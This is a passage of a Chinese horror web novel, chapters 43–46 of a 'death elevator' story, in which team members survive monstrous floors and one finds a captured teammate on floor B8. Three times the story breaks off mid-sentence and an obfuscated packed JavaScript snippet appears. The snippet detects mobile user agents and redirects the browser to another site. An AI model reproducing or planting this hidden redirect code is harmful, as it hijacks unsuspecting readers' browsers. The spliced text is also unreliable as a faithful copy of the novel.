“3楼,安全返回。”她对着对讲机说。离开时,那些被斩断的丝线正像活物般在地板上微微抽搐。 电梯门一开,在看清9楼走廊时,随歌就骂了一句:“靠,这什么阴间装修?系统你审美好差。” 系统:【……再说把你丢进去回不来】 9楼走廊铺着暗红色的地毯,墙纸剥落得像老人斑,空气中飘着一股陈年霉味,还混着点诡异的香水味,闻着像过期花露水渗了尸油。 随歌捏着竹扇,手电筒光往走廊一扫,嘴里还不忘对着对讲机懒洋洋报点:“9楼,目前没见鬼,但建议物业扣这层的装修钱。” 他还想调侃两句,忽然听见: “9楼,目前没见鬼,但建议物业扣这层的装修钱。” 一模一样的声调,连那股欠揍的懒散劲儿都分毫不差。 随歌的扇子“啪”地一和,眉毛挑了起来:“哟,学人精?” 声音是从拐角的化妆间传来的,他晃悠过去,推开门。里面是一排复古的梳妆镜,镜面蒙着灰,但其中一块干净得诡异。 镜子里,另一个“随歌”正冲他咧嘴笑,用他的声音说:“别照了,你发型没救了。” 随歌:“……” 他“唰”地展开竹扇,扇面水墨画的暴雨瞬间翻涌起来,室内无风自动:“朋友,盗版必死听过没?” 镜中人刚想说话,忽然表情一变,声音急迫:“等等!意哥受伤了,在B2!快跟我来!” 随歌的脚已经迈出去半步,突然顿住。不对,江意刚才报的是B5。 “你他妈诈骗能不能做做功课?”他反手一扇子抽在镜面上,“哗啦”一声脆响,镜子裂成蛛网状。 镜中人的脸扭曲了:“你居然用脑子?!” “没想到吧?”随歌一脚踹碎整面镜子,“老子偶尔也带智商下副本的!我自己啥样我最清楚!” 但碎镜的瞬间,整个房间的镜子突然全部亮起,无数个“随歌”从镜中伸出手抓向他!他竹扇猛挥,狂风卷着暴雨虚影轰向镜群,水雾中传来玻璃碎裂的声响。 他趁乱冲出房间,走廊却变成了无限循环的镜廊。无论往哪里跑,都能看见自己气喘吁吁的倒影。 某个倒影突然对他比了个中指。 随歌:“???” 他意识到一直这么跑不行,忽然停下脚步,一咬牙,对着空气大喊:“王山庆王教官来了!” 所有镜子里的倒影同时扭头,露出惊恐的表情。 “找到了!”随歌瞬间暴起,竹扇如刀劈向唯一没转头的那个“自己”。镜面爆裂的刹那,整个空间像被打碎的镜子般坍塌,露出原本的电梯间。 墙上用口红歪歪扭扭写着:【9】 “9楼安全回来,累死老子了。”随歌喘着气按住对讲机。 电梯门关上前,某快碎片里还传来不甘心的骂声:“随歌!你他妈作弊!揭自己伤疤?!” 随歌笑眯眯竖起中指。 43.死亡电梯 电梯缓缓下降,楼层指示灯的数字不断跳动:-1、-2、-3…… 江意面无表情地盯着显示屏,当数字跳到“-5”时,电梯理应停下,可只听见“叮”一声,面前的电梯门纹丝不动,没有丝毫要打开的迹象。 他满头问号,又按了一下开门键,电梯门纹丝不动。 “系统,为什么电梯门打不开?” 【玩家江意,很抱歉通知您,电梯因某种原因出现临时故障,无法在B5层正常开启。目前系统已检测到异常,正在联系执行官进行紧急维修。请您耐心等待,本次探索将延后至下一轮。给您带来的不便,我们深表歉意】 江意沉默了两秒,冷冷道:“故障?” 【是的,纯属意外】系统的声音听起来莫名有点心虚,【B5的门锁卡死了,不是故意不让您进的】 江意缓缓抱臂,靠在电梯墙上,语气凉飕飕的:“所以,我这次不用出去?” 【是的!您只需要等待电梯重新运行即可!】系统语速加快,甚至带了点讨好的意味,【执行官已经在抢修了,马上就好!】 江意冷哼一声,没再说话。 电梯里陷入诡异的沉默。 几秒后,系统又小心翼翼地补充:【那个…您要不在电梯里做做热身运动?或者…想想战术?】 江意闭了闭眼,懒得搭理。电梯外,隐约传来某种黏稠的、像是无数湿滑物体在墙壁上爬行的声音,偶尔夹杂着低沉的、非人的嘶吼。 又过了一小时左右,对讲机里陆陆续续传来其余队友安全返回的报道。 “维修进度怎样了?”江意问。 【马上好!马上好!】系统立刻回答,背景音里还能听到某个执行官骂骂咧咧的“这破门怎么锈死了?”的抱怨。 又过了半分钟,电梯终于“咔哒”一声,轻微震动了一下。 【修好了!您安全了!】系统如释重负,【电梯即将重新运行】 电梯缓缓上升,江意站在原地,目光落在B5层的门缝下,那里缓缓渗出一摊暗红色的液体,又很快被电梯的上升甩开,消失在黑暗中。 第二次,初与序的电梯来到了15楼。 眼前的15楼,和记忆中的结构完全不同。第一次来时的长廊变成了环形大厅,原本的消防通道标识消失无踪,取而代之的是一面布满裂缝的浮雕墙。墙上的图案在不断蠕动,像无数纠缠的蛇。 她沉默两秒,按下对讲机:“15楼,结构变异,各位注意。” 对讲机陆陆续续传来队友的回应,分别报出自己的楼层。这一次,景明垂在19楼,随歌到达27楼,江意分到2楼,而冬逢初分到了B2楼,负数楼层,这一次他的电梯没有像江意那边故障,是第一个进入负数楼层的队友。 踏出电梯,往前走了几步。初与序忽然转身,手电筒光束扫过身后的地面时,发现她刚踩过的位置,此刻赫然出现一串潮湿的脚印,仿佛一直跟着自己。 她盯着那串脚印看了几秒,转身继续往前走。鞋子落在地毯上竟没有发出半点声响,这层楼在吞噬声音。 拐角处的墙面上,嵌着一面等身镜。手电光扫过去时,镜面映出的却不是她的声影,而是一团模糊的、正在缓慢成型的人形轮廓。 她果断调转光束,但余光看到镜中的“东西”突然加速凝聚。 “咔”一声,镜面裂开一道细缝。 初与序的短刀已经握在手中,刀尖微微上挑。她后退两步,突然感到后颈一凉。天花板的通风口正滴落某种胶状液体,落在她衣领上立刻腐蚀出焦黑的洞。 当第三个通风口开始滴落腐蚀液时,她终于确定:有东西在上方的黑暗里跟着自己移动。 初与序突然加速冲向走廊尽头,在拐弯处猛地急停蹲下。手电筒光束向上刺去,正好照到一团正在天花板爬行的苍白躯体。 它没有五官,没有毛发,光滑的体表布满毛细血管般的红色纹路,四肢像被拉长的橡皮泥般吸附在吊顶上,被光照到的瞬间,它的“脸部”突然裂开一道锯齿状的豁口。 “啪嗒。” 它掉了下来。 初与序立刻划出短刀,扑来的怪物被逼退,她在交错的瞬间飞速摸清对方特征:对光线极度敏感,会模仿猎物的动作,体表黏液具有强腐蚀性。 当无面人第三次扑来时,她突然将手电筒抛向远处走廊。“哐当”的声响中,光束在墙角疯狂旋转,在墙上投出癫狂的光影。 无面人的头颅180度扭转,冲向光源。 初与序趁机没入黑暗。 周围没有任何光线,她的视力让她只能贴着墙潜行,指尖触到的墙面正在不正常地蠕动。远处传来手电筒被碾碎的脆响,随后是某种黏液翻涌的咕叽声,无面人发现自己上当了,立刻调转方向。 当第一滴腐蚀液落在脚边时,初与序知道自己被锁定了。她拔腿狂奔,身后传来黏腻的爬行声,速度比她快三倍不止。 前方出现岔路:左转是死胡同,右转有扇半开的门。她冲向右侧却在最后一秒变向,短刀狠狠扎进左侧墙壁的消防栓箱。 追得太急的无面人直接撞上刀锋,被钉在箱体金属边缘疯狂扭动。腐蚀液雨点般飞溅,初与序的衣袖被灼烧出数个小洞,她握刀的手纹丝不动。 怪物嘶叫着收缩躯体,竟主动撕裂被钉住的部分逃脱。初与序沉静地冲到走廊,发现那扇门后面竟是电梯间。 安全标记【15】就刻在门框上,但电梯按钮毫无反应。身后,拖着残躯的无面人已经追来,猛地抓住她的手腕。 那只手没有温度,没有指纹,光滑得像是一块橡胶,但力道大得惊人。初与序没有挣扎,而是顺着它的力道猛地向前一撞! “砰!” 她的肩膀撞上了某个坚硬的躯体,短刀在同一时刻刺出! 刀锋没入□□的触感传来,但对方没有动手,反而更加用力地收紧五指。初与序的手腕传来剧痛,骨头几乎要被捏碎。 在黑暗中,她猛地抬膝,狠狠顶向对方的躯干,同时短刀在伤口狠狠一拧!无面人终于松手。 初与序没有停下,突然松开了短刀,任由它留在无面人的身体里,自己则迅速后退,直到后背贴上墙壁,放轻呼吸冷静地听着周围的声音。 黑暗中传来无面人低沉的、像是冷笑的声音,然后,它扑过来。 初与序没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16031295|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有躲,在无面人扑来的瞬间,猛地侧身,左手精准地抓出了插在它身上的短刀刀刃。 刀锋横向切开躯体的声音令人牙酸,无面人的动作僵住了,它的身体从中间裂开,浑浊的黑色液体流出。 初与序喘息着后退,短刀仍握在手中,刀刃上的液体正以肉眼可见的速度蒸发,短刀又恢复了原来精致的样子。 黑暗中,她摸索着向前,直到指尖触到了电梯门的金属边缘。她抬手,在墙上摸到了那个刻痕: 【15】 她按下对讲机,声音平静:“15楼安全返……” 下一秒,她手中的短刀突然剧烈震颤起来,冰蓝色的刀身嗡鸣不止,刃面上雕刻的勿忘我花纹竟渗出细密的血珠。她的心脏猛地一缩,仿佛被一只无形的手狠狠攥住。 没有画面传来,没有声音预警,但某种撕心裂肺的痛楚正通过武器共鸣直刺骨髓。 她立刻意识到,冬逢初出事了。 初与序伸手点了两下耳骨夹,那边寂静得可怕。以前即使屏蔽思维链接,她仍能感受到另一端平稳的存在感,可现在那里只剩下虚无。 短刀的震颤越来越剧烈,刀锋开始不受控制地凝结冰霜,这是武器在主人濒死时才会触发的哀鸣。 她忽然想起之前D19说过,自己的短刀和冬逢初的长剑是双生武器,很容易认错主人,或者将她和冬逢初都认主。 “冬逢初?”她试图通过耳骨夹和冬逢初对话,但那边只传来一阵模糊的喘息,像是有人在艰难地挣扎着。紧接着是拖拽声、锁链声,以及不急不慢的皮鞋走在地板上的声音,一下,两下,随后,对面传来某种东西被扔到地板上的闷响。 接着是寂静。 彻底的、冰冷的寂静。 “冬逢初可能出事了。”初与序在对讲机结束最后五秒前快速说,“负数楼层比我们想象的更危险。” 景明垂身处的19楼里飘着淡淡的熏香味,像是有人刚在这里烧过纸钱。走廊两侧摆满古董留声机,黑胶唱片在无人触碰的情况下缓缓旋转,发出沙哑的戏曲唱段: “……原来姹紫嫣红开遍,似这般都付与断井颓垣……” 她缠着琴弦的手指微微收紧,对着对讲机说:“19楼。” 刚迈出两步,所有留声机突然同时卡带,戏曲声扭曲成尖锐的哭嚎。景明垂猛地回头,走廊尽头的阴影里,一个穿戏服的女人正背对着她梳头,木梳每刮一下,就有大把头发连着头皮脱落。 “姑娘…”那东西脖子不动,脑袋却180度转过来,“听曲儿吗?” 景明垂的琴弦已经甩了出去。 金光闪过,戏服女人的头颅飞起,却在空中化作无数扑棱的纸灰碟。她这才发现,整个走廊的墙纸都是用符咒糊成的,此刻正簌簌抖动着想要剥落。 安全标记【19】被刻在电梯旁边的铜锣上。 景明垂踹翻最近的留声机,在漫天飞舞的唱片碎片中冲向电梯。身后传来戏服翻飞的声响,还有指甲刮擦铜锣的刺耳噪音。 “19楼,安全返回。” 电梯门关上的刹那,最后一张黑胶唱片卡着她的心跳节奏,“啪”地裂成两半。 44.死亡电梯 随歌的27楼很奇怪,不像其他楼层那样阴暗潮湿,反而灯火通明。惨白的LED灯管在天花板上整齐排列,照得整个走廊亮如白昼,墙壁上贴满了密密麻麻的A4纸,每一张都打印着同样的内容: 【玩家随歌,生命倒计时:27】 “……” 他盯着那些纸看了两秒,扇子“唰”地展开,遮住下半张脸,只露出一双微微眯起的眼睛。 “27楼。”他对着对讲机懒洋洋地报点,“目前还活着,但感觉这层楼的装修风格对本帅哥很不友好。” 他试探性地往前迈了一步。 “滴。” 天花板的广播突然响起一声清脆的电子音,紧接着,墙壁上所有的数字同时跳动: 【27】→【26】 随歌的脚悬在半空,没敢落下。他收回脚,数字又跳回了【27】。 “哦?”他挑眉,“原来如此。” 这层楼在计算他的“生命值”,每走一步,数字就减少1,而电梯门距离他至少三十步远。他嗤笑一声,从口袋里摸出一枚硬币,随手往地上一丢。 硬币滚了两圈,停在了第三步的位置。 “滴。” 数字从【27】跳到了【26】。 随歌盯着硬币看了两秒,突然笑了:“原来只要是‘移动’就会扣血,不一定是‘我’在移动。” 他手腕一翻,扇面轻扬,一阵微风卷起地上的碎纸片,飘向前方。 “滴。” 【26】→【25】 找到漏洞了。 接下来的几分钟里,27楼陷入了诡异的混乱。 随歌站在原地没动,但扇子掀起的气流不断卷着纸张、灰尘,甚至他自己的衣角往前飘,不知道的还以为他在给自己扇风。 “滴。” “滴。” “滴。” 数字疯狂跳动:【25】→【24】→【23】→… 直到降到【10】时,天花板突然传来“咔”的一声响,所有的LED灯管同时熄灭,只剩下紧急出口的绿灯幽幽亮着。 随歌眯起眼,扇子微微压低。 黑暗中,墙壁上的A4纸开始自行脱落,像雪片一样飘落在地。而每一张纸的背面,都用血写着新的内容: 【作弊者,死】 “啧。”随歌撇撇嘴,“玩不起是吧?” 下一秒,地面开始震动,走廊两侧的墙壁缓缓向中间挤压。而那些脱落的A4纸正在重组,像活物一样折叠、拼接,最后形成一具具人形的“纸傀儡”,摇摇晃晃地朝他走来。 随歌叹了口气,扇子“啪”地合上,敲了敲自己的肩膀:“行吧,既然你们不讲武德。” 他猛地展开扇子,整条走廊的空气瞬间开始扭曲。 “那我也不客气了。” 暴雨冲刷。 狂暴的气流以他为中心炸开,纸傀儡在风中瞬间解体,碎成漫天雪片。而墙壁的挤压也被飓风硬生生逼停,甚至开始反向移动。 随歌趁机冲向电梯,但刚跑两步就发现,数字从【10】跳到了【9】。 “……操。”他硬生生刹住脚步,咬牙切齿,“这他妈也算?!” 纸傀儡再次聚集,墙壁继续挤压,而他的“生命值”只剩个位数。随歌盯着数字看了几秒,突然冷笑一声。 “行,既然要玩…”他猛地咬破手指,在扇面上画下一道血痕。 “本帅哥给你来个大的!” 扇面暴雨瞬间染成血红,整层楼的空气都开始震颤, “轰——!!!” 飓风裹挟着血雨席卷整个27楼,所有的纸傀儡、A4纸,以及墙壁上的数字都被撕得粉碎。而在风暴中心,随歌稳稳站着,扇尖指向天花板: “给老子亮出来!” “砰!” 一块天花板应声碎裂,露出后面用血漆写的数字:【27】 随歌染血的手掌重重拍在标记上。 电梯门开启的瞬间,整个27楼开始崩塌,而他在最后一秒闪身冲进轿厢。按住对讲机,喘着气道:“27楼,安全返回,欧耶!” 电梯门开启前,江意右手的机械手环已经提前泛起红色微光。这是他五年来养成的本能,在副本里,永远要比危险快一步。 门开后,2楼的空气里飘着一股陈旧的檀香,像是尘封多年的老宅突然被推开。走廊铺着褪色的红地毯,两侧是雕花木门,每一扇门上都贴着泛黄的符纸,朱砂写的符文已经褪色成暗红。 “2楼。”他对着对讲机冷淡地报出楼层。 江意迈出电梯的下一秒,身后的门立刻闭合,锁死的声响在空荡的走廊里格外刺耳。他没有回头,径直向前走去。 忽然,耳边传来“吱呀——”一声,走廊两侧的木门突然同时从内打开一条缝隙。 门缝后站着清一色的“人”,是纸扎的童男童女,惨白的脸上涂着夸张的腮红,所有纸人漆黑的眼珠直勾勾地盯着江意,嘴角咧开至耳根,露出猩红的纸舌。 江意的脚步未停,甚至连眼神都没有波动。他只是微微抬起右手,食指轻轻一扣。 【重力场三倍】 空气仿佛在瞬间凝固,随后猛地下压! 所有纸人像是被一只无形的大手狠狠摁住,身体立刻扭曲、塌陷,纸质的四肢被碾得粉碎,扁扁地贴在地面上,连挣扎的机会都没有。 走廊恢复寂静,所有注视他的视线消失。 江意继续向前走,皮鞋踩过满地纸屑,发出细碎的碎裂声。 然而,在他身后,那些被碾碎的纸片开始蠕动。纸屑重新拼接、组合,原本被压扁的纸人竟缓缓力气,惨白的脸上依旧挂着诡异的笑容。只是这一次,它们的嘴角咧得更开,纸质的牙齿变得尖锐,像是被什么东西硬生生撕扯过。 它们不再只是站着,而是齐刷刷迈步,朝唯一的人类走来。 江意终于停下脚步,冷眼睛看着他们逼近。 当最近的纸人伸手要抓他时,他右手五指猛地一收。 【引力反转】 整条走廊仿佛被某种力量硬生生扭曲,所有纸人突然腾空而起,像是被倒吊的提线木偶,四肢不受控制地乱舞。天花板成了它们的“地面”。而它们只能徒劳地在空中抓挠,纸质的身体被无形的力量拉扯得变形。 江意连看都懒得看,继续往前走。 走廊尽头是一扇朱红色的门,门上贴着一张泛黄的符纸,写着「生人勿近」。 他抬手就要推门,突然,身后传来“刺啦——”一声,一个纸人撕开了自己的胸口,从里面掏出了一颗……真实的、跳动的心脏。 鲜红的,温润的,甚至还在滴血。 江意终于回头,目光落在纸人手里的心脏上,无奈地叹了口气。随后右手抬起,手腕上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16031296|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机械手环猛地亮起红光。 【重力场十倍】 随着“轰!!”一声,整条走廊的地面瞬间塌陷,纸人、木门,甚至墙壁上的雕花装饰,全部被压成粉末。那颗心脏在半空中爆裂,血雾喷溅,却在即将触及江意衣角的前一秒,被某种力量硬生生定格,随后像被擦除一般消失无踪。 烟尘散去后,走廊尽头的那扇朱红门依然完好无损,只是符纸上的字变了: 「请进」 江意没急着进去,抬起右手看了眼机械手环的能量,能量已经消耗过半。他面无表情,径直推门而入。 门后是祠堂,幽绿色的烛火摇曳,映照出供桌后那尊诡异的纸扎神像。它没有五官,只有一张被朱砂画满符咒的脸,双手合十,指尖却诡异地扭曲着,像是在掐诀。 供桌上的纸条写着:「安全标记:2」 江意伸手去拿。 下一秒,供桌下的阴影里突然窜出三具纸人,它们的身体不再是脆弱的白纸,而是浸透了鲜血的硬质皮囊,关节处缠绕着漆黑的发丝,动作快得几乎带出残影。 江意开启重力场,最前面的纸人瞬间被压垮,但另外两具却猛地散开,一左一右扑来!它们的指甲已经变成了锋利的骨刺,直取他的咽喉和心脏。 江意侧身避过第一击,右手握拳,机械手环爆出一圈暗红波纹。 左侧的纸人被斥力震飞,但右侧的那具却突然变形,身体像蛇一样缠上他的手臂,骨刺狠狠扎向他的手腕! 鲜血溅出,机械手环的能量受到主人身体情况影响,瞬间见底。 纸人咧开嘴,露出密密麻麻的尖牙。 江意眼神一冷,左手直接掐住纸人的脖子,猛地往地上一掼! 纸人的脑袋砸碎地板,但它反手抓住江意的手腕,骨刺再次刺入他的手臂!鲜血顺着苍白的手腕留下,江意却连眉头都没皱一下,直接抬膝,狠狠撞上纸人的脊椎处! 纸人的脊椎被膝撞粉碎,但它依然死死缠着江意,像是要同归于尽。 另外两具纸人已经重新扑来! 江意垂眸看了一眼机械手环,能量恢复还需要十秒。但十秒,足够这些鬼东西把他自己撕碎三次。 他冷笑一声,突然将流血的手臂按在机械手环上。 【血源强制启动。】 鲜血渗入表盘,机械手环发出“嘎吱”声,但暗红色的光芒纹路却像活物一样顺着他的血管爬满整条手臂。 纸人的尖牙已经逼近他的喉咙,江意右手猛地扣住他的脸。 【重力场百倍】 随着“噗嗤!”一声,纸人的整个脑袋像西瓜一样炸开,血浆和碎纸屑溅满整个祠堂!另外两具纸人刚扑到半空,就被无形的力量硬生生摁进地面,骨骼尽碎! 江意甩了甩血淋淋的右手,机械手环的能量再一次耗尽,正快速恢复。 他走到供桌前,染血的手指拿起那张纸条。 祠堂开始崩塌,纸灰漫天飞舞,而他在最后一秒踏入电梯。 “2楼,安全。” 电梯里,江意面无表情取下红领带,利落地缠在鲜血淋漓的右臂上。耳边忽然响起系统冰冷的机械音: 【玩家江意,警告,您今年使用鲜血作为能源已达九次,该行为将对您的身体健康造成不可逆损伤,建议立即关闭此功能,以后不再使用。】 “关你屁事。” 【……】 45.死亡电梯 电梯里,初与序沉默地站着。 对讲机里陆陆续续传来队友第二次安全返回电梯的报点,唯独没有冬逢初的声音。 现在所有人都知道他出事了。 初与序缓缓抬起手,指尖触碰到右眼眼皮。她闭了闭左眼,确认右眼的视野。遗憾的是,眼前一片模糊的灰色,像是透过一层浓雾。没有手电筒,黑暗会彻底剥夺她的视觉。 真是糟透了。 她从腰间抽出短刀,刀刃在电梯微弱的灯光下泛着冷芒。她将刀尖抵在掌心,轻轻一划。血珠渗出,疼痛让她的神经更加清醒。 电梯的显示屏跳动,数字最终定格在: B8,负数楼层。 “叮。”一声,门开了。 扑面而来的不是黑暗,而是浓稠的、如有实质的血雾。整层楼仿佛浸泡在猩红的液体里,空气中充斥着血腥味。初与序勉强能看清前方半米,再远便只剩下蠕动的暗影。 她静了几秒,抬腿踏出电梯。鞋底踩在地面上的同时,黏稠的血浆没过脚踝,令人走路困难。 “B8。”她对着对讲机说道,声音冷静,“我进去了。如果能遇到冬逢初,我会安全把他带回来。” 电梯门在她身后缓缓关闭,将最后一丝微光切断。 她没有立刻行动,屏住呼吸在原地站一会,直到左眼勉强适应了血雾中的微光,但其实不算真正的光,而是墙壁上浮动的暗红色血管,它们像呼吸般明灭,照亮了这条扭曲的走廊。 初与序甚至开始庆幸自己视力不好,看不清这些可怖的生物。 手刚抚上墙面,这些就传来湿滑的触感。她立刻缩回手,发现整面墙的“砖块”不是混凝土或瓷砖之类,而是紧密排列的肌肉纤维,随着她的触碰微微收缩,渗出淡黄色的组织液。 更糟糕的是,当她后退一步时,墙壁突然鼓起一个肿瘤般的肉瘤,烤面裂开一道缝隙。 那缝隙缓缓张开,露出一排细密的尖牙。 初与序低头,发现原本平整的地面正在起伏,像有什么东西在下方蠕动。突然!一块“地砖”猛地掀开,下面竟然是一张布满吸盘的巨大口腔,喉部深处传来湿漉漉的吞咽声。 初与序飞速侧翻避开,那张嘴咬了个空,溅起的黏液腐蚀了她的袖口。 “……” 她盯着被烧穿的袖子,短刀在手中转了个弧度。 继续摸黑向前走,初与序渐渐发现B8层在变化。 每走过一个拐角,身后的通道就会自行闭合,血肉墙壁像活物般重新排列。地面偶尔会软化,踩上去的瞬间就会陷到脚踝,必须用刀插进墙壁才能借力脱身。 最致命的是气味,浓重的血腥气混着说不出的霉味,每一次呼吸都让初与序太阳穴突突跳动,视野边缘开始出现黑斑,在原本就不好的视力上雪上加霜。 她伸手抹了把脸,发现自己流了鼻血。 身后突然传来“咕噜”的蠕动声,像是一整块□□拖过地面。初与序没有回头,但余光已经捕捉到那团东西: 那是一具由碎肉拼接而成的“猎犬”,没有皮肤,裸露的肌肉纤维在血管的包裹下不断抽搐。它的头部是一颗肿胀的人类心脏,心室裂开成四瓣,每一瓣都布满倒刺般的牙齿。 下一秒,湿热的喘息喷在初与序后颈上。 她猛地向前扑,原本站立的位置瞬间被腐肉组成的利爪撕碎。她落地翻滚,短刀插进地面稳住身形,而那头怪物已经调转方向,心脏头颅疯狂鼓动,朝她扑来! 跑! 初与序撞向右侧的通道,血肉墙壁在她经过时突然收缩,试图夹住她的手臂。刀光一闪,墙壁上的腐肉被削下一大块,腥臭的脓血喷溅在地上。 怪物越来越近,地面开始翻涌,无数条触须破土而出,缠向她的脚踝。初与序纵身跃起,踩着墙壁凸出的肉瘤腾空,在触须扑空的瞬间,短刀狠狠扎进天花板垂下的某条动脉! 黑血如暴雨淋下,腐蚀得触须嘶嘶冒烟。她趁机落地,拔腿就跑。 前方是死路。 血肉墙壁在此处收拢成胃袋般的腔室,地面布满消化液的水洼。怪物堵在唯一的入口,心脏头颅兴奋地涨大,滴落的口水在地面蚀出一个个小坑。 初与序握紧了刀,心想自己是不是也要交代在负数楼层。 忽然,她眼神一动,抬手猛地用刀尖划开了自己的小臂。鲜血涌出的刹那,整层楼的肉壁都疯狂抽搐起来。 果然,它们对新鲜血液极度敏感。 怪物扑来的瞬间,她将血甩向头顶某条搏动的巨型血管。 被腐蚀的血管爆裂!千斤重的腐肉塌方般砸下,将怪物彻底掩埋。初与序在最后关头滚进侧面的缝隙,被吞入一条狭窄的肉管通道。 黑暗中,她听见怪物在身后撕咬腐肉的声音。 初与序飞速挣脱出来,单手撑地爬起,左眼在黑暗中艰难聚焦。 这条通道与之前不同,墙壁不再是蠕动的血肉,而是由无数人类手指紧密排列而成,每一根都苍白浮肿,指甲缝里塞满黑红色的污垢。当她踉跄着扶墙站稳时,整面墙的手指突然同时抽搐,“咔哒”作响。 地面铺着一层半透明的薄膜,踩上去时能清晰地看到下方缓缓流动的消化液,以及浸泡在液体里的、尚未溶解的骸骨。 甬道尽头垂挂着十几个巨大的肉茧,每个都有两米高,表面布满蛛网般的血管。有些是空的,撕裂的缺口处耷拉着看上去很恶心的脐带;有些仍在微微搏动,隐约透出人形轮廓,让初与序莫名想起来《灯影诡村》里的人皮灯笼。 而中间那个茧,比其他茧大出一倍,表面布满凹凸的掌印,仿佛里面的东西曾疯狂挣扎过。此刻,茧的顶部正在渗出某种暗黄色的脓液,滴落在地面时腐蚀出缕缕白烟。 初与序向前一步,突然注意到,右侧的“手指墙”上刻着几行字,像是有人用利器在无数手指上硬生生刮出来的,字迹潦草,断断续续: 「不要相信茧」 「不要触碰地面」 「不要看它们的眼睛」 最后一行字被凌乱的抓痕覆盖,但仍能辨认出半个用血写的“逃”字。 初与序越看越觉得这字迹眼熟,她低头看向自己脚下的地面,这才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16038334|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现上面有一条长长的血痕,以及拖拽痕迹。 “啪!” 某个肉茧突然裂开一道缝隙,一截青灰色的手臂软绵绵地垂下来,指尖还滴着黏液。初与序的刀立刻指向声源,却听见整个甬道响起此起彼伏的“咔啦”声。 所有的茧都在同步颤动。 而更深处,传来铁链拖动的金属摩擦声。 下一秒,初与序的短刀突然在掌中嗡鸣,刀柄剧烈震颤,震得她虎口发麻。她立刻看向武器,这一次的震动频率更快、更急促,仿佛某种濒临崩溃的心跳。 只有两种可能:一,冬逢初就在附近;二,冬逢初快死亡了。 她松开手指,冰蓝短刀竟自动地微微悬浮,刀尖转向左侧一条狭窄的岔路。那里被一层半透明的肉膜覆盖,像某种生物的内脏隔层,随着呼吸般的节奏微微鼓动。 初与序没有犹豫,抓起短刀一刀划开肉膜。 脓血喷涌而出,露出后面隐藏的通道。这里的墙壁不再是手指,而是由人牙镶嵌而成、交错排列,在刀光的照耀下泛着森白的光。 地面湿滑,铺着不知名组织,踩上去时,整条通道的牙齿突然“咯咯”打颤,发出令人毛骨悚然的叩击声。 越往里走,短刀的震颤越发剧烈,甚至发出低沉的蜂鸣。刀身上的勿忘我纹路正隐隐泛出银蓝色的光,像是被什么东西召唤着。 初与序的呼吸微微收紧,向前方开去。 通道尽头,一扇由肋骨拼接而成的门缓缓打开,门缝里渗出雾气。手中的短刀突然“铮!”地一声清鸣,挣脱她的手掌,如箭般射向门内! 初与序立刻追了上去,进入房间。 肋骨门在她身后轰然闭合,短刀插在门板上,仍在震颤不止。 在看清房间里景象时,初与序愣住了。 角落里,冬逢初蜷缩在血泊中,大衣衣摆被灼烧破烂,裸露的皮肤上全是淤青与刀伤。这明显不是怪物造成的,更像是人为的暴力。 他的脸苍白得近乎透明,血从额角的伤口滑下,凝固在睫毛上,将那双总是温柔的眼睛染成暗红。呼吸微弱得几乎看不见胸膛起伏,只有嘴角偶尔溢出的鲜血证明他还活着。 长剑掉在手边,剑刃上沾满鲜血,勿忘我花纹亮着微弱的蓝光,像是经历过一场死斗。 而最刺眼的是他脚踝上的铁链,粗重的镣铐深深勒进皮肉,另一端钉死在墙里,锁链上刻着细小的三个字,看不清写着什么,此刻正泛着不详的红光。 初与序快步上前,单膝跪地,目光扫过那些伤口。 右肩的贯穿伤边缘整齐,是匕首之类的利器所为;左手小指以不自然的角度扭曲,明显是被硬生生掰断;最致命的是腹部的伤,伤口发黑,像是被涂抹了某种毒素。 是人类伤人的手法。 初与序伸手,手指刚碰到他的肩膀,他闷哼一声,身体猛地一颤,像是从半昏迷中被强行惊醒。半睁眼的瞳孔涣散,却在看清她的瞬间骤然收缩,染血的手指死死攥住她的手腕! “跑……” 血从他嘴角涌出,滴在初与序手背上,烫得惊人。 46.死亡电梯 “谁干的?”初与序没有跑,她凑近冬逢初,压低声音问。 冬逢初的睫毛颤了颤,想说什么,但没有力气开口。 初与序的目光落到他脚踝的镣铐上,伸手抚过上面模糊的三个字,触到的瞬间就被烫出一道血痕。如果猜得没错,这些符文在吞噬他的生命力,将痛苦转化为某种能量输向墙壁。 整层楼的心跳声突然变得清晰,仿佛他们正置身于某个巨大生物的腔室内。 “忍着点。”她拔出短刀,刀尖抵住锁链的接缝处。 冬逢初突然用口型说了两个字: “后面!” 初与序的刀比思维更快,反手向后刺去! “叮!”一声,金属碰撞的火花照亮了突然出现在她身后的黑影。那是个戴着白色面具的人形,手中的手术刀正抵在她的刀锋上,面具后传来带笑的男声: “探望时间结束了,初小姐。” 